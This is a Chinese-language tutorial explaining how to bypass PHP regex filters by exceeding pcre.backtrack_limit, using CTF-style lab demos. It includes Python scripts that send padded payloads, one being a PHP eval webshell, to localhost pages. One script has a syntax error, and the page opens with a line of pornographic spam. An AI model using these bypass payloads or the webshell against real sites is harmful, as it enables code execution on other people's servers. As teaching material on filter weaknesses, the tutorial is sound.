欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

php正則回溯繞過(guò)最大次數(shù)上限案例詳解

 更新時(shí)間:2022年07月25日 14:28:54   作者:共黃昏  
這篇文章主要介紹了php利用正則回溯進(jìn)行繞過(guò)最大次數(shù)上限的案例方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

什么是正則回溯

從問(wèn)題的某一種狀態(tài)(初始狀態(tài))出發(fā),搜索從這種狀態(tài)出發(fā)所能達(dá)到的所有“狀態(tài)”,當(dāng)一條路走到“盡頭”的時(shí)候(不能再前進(jìn)),再后退一步或若干步,從另一種可能“狀態(tài)”出發(fā),繼續(xù)搜索,直到所有的“路徑”(狀態(tài))都試探過(guò)。這種不斷“前進(jìn)”、不斷“回溯”尋找解的方法,就稱作“回溯法”。本質(zhì)上就是深度優(yōu)先搜索算法。其中退到之前的某一步這一過(guò)程,我們稱為“回溯”。

非貪婪模式回溯過(guò)程:

text = "abc"
regex = "ab{1,3}c"

為什么可以利用正則回溯進(jìn)行繞過(guò)

大量的回溯會(huì)長(zhǎng)時(shí)間地占用CPU,從而帶來(lái)系統(tǒng)性的開(kāi)銷。PHP為了防止正則表達(dá)式的拒絕服務(wù)攻擊(reDOS),給pcre設(shè)定了一個(gè)回溯次數(shù)上限pcre.backtrack_limit。我們可以通過(guò)var_dump(ini_get('pcre.backtrack_limit'));的方式查看當(dāng)前環(huán)境下的上限,最大回溯次數(shù)默認(rèn)為1000000次,如果超過(guò)一百萬(wàn)次preg_match函數(shù)返回的非 1 和 0,而是 false表示此次執(zhí)行失敗。

在PHP中 ‘==’ 是松散比較 ‘0’與’flase’ 是相等的:

  • 使用兩個(gè)等號(hào) == 比較,只比較值,不比較類型。
  • 嚴(yán)格比較:用三個(gè)等號(hào) === 比較,除了比較值,也比較類型。
  • == 在進(jìn)行比較的時(shí)候,會(huì)先將字符串類型轉(zhuǎn)化成相同,再比較

"0" == false: bool(true)
"0" === false: bool(false)

php正則回溯繞過(guò)案例一

PHP源碼:

<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
    echo "flag{raoguo-cenggong}";
}else{
    echo "bad requests";
}
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

python繞過(guò)源碼:

import requests
datas = {
    'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)

當(dāng)回溯次數(shù)為999990次時(shí)的運(yùn)行結(jié)果:

當(dāng)回溯次數(shù)為1000000次時(shí)的運(yùn)行結(jié)果:

php正則回溯繞過(guò)案例二

php源碼:

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'flag{cheng-gong}';
        }else{
            echo 'no have Merry Christmas';
        }
    }else{
        echo 'Bypass the failure';
    }
}
?>

python源碼:

import requests
datas = {
    'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

運(yùn)行結(jié)果:

python測(cè)試:

沒(méi)有 ‘Merry Christmas’ 前綴的運(yùn)行結(jié)果

import requests
datas = {
    'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

運(yùn)行結(jié)果:

到此這篇關(guān)于php正則回溯繞過(guò)最大次數(shù)上限案例詳解的文章就介紹到這了,更多相關(guān)php正則回溯內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論